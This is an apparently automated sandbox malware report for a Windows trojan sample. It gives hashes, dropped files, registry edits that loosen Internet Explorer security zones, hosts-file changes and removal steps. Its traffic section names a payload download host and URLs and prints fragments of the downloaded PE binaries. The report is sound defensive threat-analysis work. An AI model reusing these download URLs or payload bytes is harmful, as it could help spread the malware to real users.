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Gen.Variant.Zusy.141301_0942b3c92f


Gen:Variant.Zusy.141301 (B) (Emsisoft), Gen:Variant.Zusy.141301 (AdAware), mzpefinder_pcap_file.YR (Lavasoft MAS)Behaviour: Malware

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: 0942b3c92f1bc3e9b3426775c5b8bf2f

SHA1: 7cc3e50611a460a775db9798762d9659768c2ef4

SHA256: 44954ff128ce81688244511e4c1bd0514b1dbd385b793683d2a073105a9972b5

SSDeep: 24576:0LbmFQ0TiJqlvBW2eJZgPcf8KMgWavJPp5:03CxKvnl7BPL

Size: 1235968 bytes

File type: EXE

Platform: WIN32

Entropy: Not Packed

PEID: UPolyXv05_v6

Company: Super PC Tools Ltd

Created at: 2015-06-22 16:38:47

Analyzed on: WindowsXP SP3 32-bit

Summary: Malware. Malware, short for malicious software, is any software used to disrupt computer operation, gather sensitive information, or gain access to private computer systems.

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Malware creates the following process(es):

%original file name%.exe:312

The Malware injects its code into the following process(es):

update.exe:452

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process %original file name%.exe:312 makes changes in the file system.


The Malware creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\136A0E64780C607A\027B007576157174\rigid.ini (8 bytes)
C:\update.exe (36656 bytes)
%System%\drivers\etc\hosts (257 bytes)

The process update.exe:452 makes changes in the file system.


The Malware creates and/or writes to the following file(s):

C:\Xiaomi.exe (72109 bytes)
C:\Interop.SHDocVw.dll (4563 bytes)
C:\AxInterop.SHDocVw.dll (981 bytes)

Registry activity

The process %original file name%.exe:312 makes changes in the system registry.


The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F4 0F BE 21 64 A5 11 00 24 85 92 A5 37 12 4B C0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\c:]
"update.exe" = "update"

The Malware modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Malware modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Malware modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process update.exe:452 makes changes in the system registry.


The Malware creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "55 D8 D9 01 59 54 D4 6A BD A2 69 8E F1 02 24 8C"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

Dropped PE files

MD5 File path
c4a6cf6b5652939bbda2dc27d6c5f5dfc:\AxInterop.SHDocVw.dll
a8976da4918b4c5b4c7d80961519a204c:\Interop.SHDocVw.dll
2dadf93d1da4a68002e92b15ce812c0ac:\Xiaomi.exe
ed2bb979eb76549929fdb014b0b08954c:\update.exe

HOSTS file anomalies

The Malware modifies "%System%\drivers\etc\hosts" file which is used to translate DNS entries to IP addresses. The modified file is 257 bytes in size. The following strings are added to the hosts file listed below:

127.0.0.1zenavotata.in
127.0.0.1eworld.webspiderasia.co.in
127.0.0.1iconworld.asia
127.0.0.1ngen2014.asia
127.0.0.1zenevotata.in
127.0.0.1spiderhispider.in
127.0.0.1blacktswithforrest.com
127.0.0.1blackts.in
127.0.0.1myticketworld2015.com


Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.

Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    %original file name%.exe:312

  2. Delete the original Malware file.
  3. Delete or disinfect the following files created/modified by the Malware:

    %Documents and Settings%\%current user%\Application Data\136A0E64780C607A\027B007576157174\rigid.ini (8 bytes)
    C:\update.exe (36656 bytes)
    %System%\drivers\etc\hosts (257 bytes)
    C:\Xiaomi.exe (72109 bytes)
    C:\Interop.SHDocVw.dll (4563 bytes)
    C:\AxInterop.SHDocVw.dll (981 bytes)

  4. Restore the original content of the HOSTS file (%System%\drivers\etc\hosts): 127.0.0.1 localhost
  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.
*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

Company Name:
Product Name:
Product Version: 1.2.3.4
Legal Copyright:
Legal Trademarks:
Original Filename: Xiaomi.exe
Internal Name: Xiaomi.exe
File Version: 1.2.3.4
File Description: Xiaomi
Comments:
Language: English (United States)

Company Name: Product Name: Product Version: 1.2.3.4Legal Copyright: Legal Trademarks: Original Filename: Xiaomi.exeInternal Name: Xiaomi.exeFile Version: 1.2.3.4File Description: XiaomiComments: Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5

j}"

81925310045314565.54496c9e8f4a3c439027d1878cbe34df681b8.text5406726334326338563.1015579ac99826bf76ba11db90f2e9c17f91.rsrc117964868472686084.063220c3497b5523709e5fc64b1f13a1ae647.reloc1253376125120.06793187332e50ce4309613b42516a87af8eb21261568165120.0988684603b7e64d1dd9f0beaad3fc87282ce6

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL IP
hxxp://andapondayellaraskalla.asia/predict/update/update.dll103.21.58.98
hxxp://andapondayellaraskalla.asia/predict/update/Xiaomi.dll103.21.58.98
hxxp://andapondayellaraskalla.asia/predict/update/AxInterop.SHDocVw.dll103.21.58.98
hxxp://andapondayellaraskalla.asia/predict/update/Interop.SHDocVw.dll103.21.58.98

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /predict/update/Xiaomi.dll HTTP/1.1

Host: andapondayellaraskalla.asia

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Last-Modified: Wed, 01 Jul 2015 03:18:56 GMT

Accept-Ranges: bytes

ETag: "d91168aaacb3d01:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-Powered-By-Plesk: PleskWin

Date: Mon, 06 Jul 2015 12:26:42 GMT

Content-Length: 1246208

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....[.U.....................D.......`...`... ....@.. ....................................@..................................f..K.... ..x....................@.......................................................`...............`..H.............j..}"..5... ...6..................@....text........`.......:.............. ..`.rsrc...x.... ......................@..@.reloc.......@......................@..B.............`...................... ..`.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................k2......mA].8b.C...0.*4.d.....#....L%j.m%.0H;....T=.F..'.Y....v=..~....^..I....#....M..Y...s..t.q..9p.o.Y...6..O..>.x-...x/..HpFFx....=14.r i.2.zW.....[..F.5..~..z.x..8.!-._...C.W..........l.....L.<......-.w..t...........#.}..."...[BG@ .G..2...#.2U.....I.P....-X.eSum..3HOa..8....x..n.....[.....R.R..{..{.e.......'.r..:.....wPu..@{.'.T...N.0....l8.n.4...LN....i.4Y..Cqn.=..*f#..nk..........-}#.0..So......i.X..e....x..M......W.Q...[..ol...K..X..d.....K?.]... ...P.L....L)......z..pS..\...`N.Lz..NE{.G.

<<< skipped >>>

GET /predict/update/AxInterop.SHDocVw.dll HTTP/1.1

Host: andapondayellaraskalla.asia

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Last-Modified: Wed, 01 Jul 2015 03:19:11 GMT

Accept-Ranges: bytes

ETag: "b363ab3acb3d01:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-Powered-By-Plesk: PleskWin

Date: Mon, 06 Jul 2015 12:26:49 GMT

Content-Length: 45056

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.T...........!......... ........... ........@.. ....................................@.................................d...W.................................................................................... ............... ..H............text....y... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

GET /predict/update/Interop.SHDocVw.dll HTTP/1.1

Host: andapondayellaraskalla.asia

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Last-Modified: Wed, 01 Jul 2015 03:19:11 GMT

Accept-Ranges: bytes

ETag: "e96229b3acb3d01:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-Powered-By-Plesk: PleskWin

Date: Mon, 06 Jul 2015 12:26:52 GMT

Content-Length: 131072

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....E.T...........!......... ........... ........@.. .......................@............@.................................x...S.......h.................... ....................................................... ............... ..H............text........ ...................... ..`.rsrc...h...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

GET /predict/update/update.dll HTTP/1.1

Host: andapondayellaraskalla.asia

Connection: Keep-Alive

HTTP/1.1 200 OK

Content-Type: application/x-msdownload

Last-Modified: Thu, 30 Apr 2015 11:45:55 GMT

Accept-Ranges: bytes

ETag: "fee585373b83d01:0"

Server: Microsoft-IIS/8.5

X-Powered-By: ASP.NET

X-Powered-By-Plesk: PleskWin

Date: Mon, 06 Jul 2015 12:26:37 GMT

Content-Length: 477184

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....BU.................<...........Z... ........@.. ....................................@..................................Z..W....`............................................................................... ............... ..H............text....;... ...<.................. ..`.rsrc........`.......>..............@..@.reloc...............F..............@..B.................Z......H.......P2..T(..........X ...............................................0..........(....(.......(.....o....*......................(......o......o......o......o....*...F.(....o....o....*....(....*.s.........s.........s.........s.........s.........*.0..........~....o....*..0..........~....o....*..0..........~....o....*..0..........~....o....*..0..........~....o....*..0............{....(... }.....{....*...{....3.*.,.r...ps....z..|....o... *...0................,.........o....9....~....,,~.........( ...o!..., rI..p......("...s#...zs$........~.........( ....o%...(... ..lu....%-.&. .%.('....o(..............&r...p..........o(...o).....("......o(...s*...z~.........( ...o .... ..*.*........l..../t.....l.[........0.................o,..................*..(-...*.0............(....(/...*....0...........(0...*..0...............( ...*..0...........(1...*..0............(....(/...*....0...........(0...*..0...............( ...*..0...........(1...*..0................-.(... *.*.0.........................*..(-...

<<< skipped >>>

Map

The Malware connects to the servers at the folowing location(s):

Strings from Dumps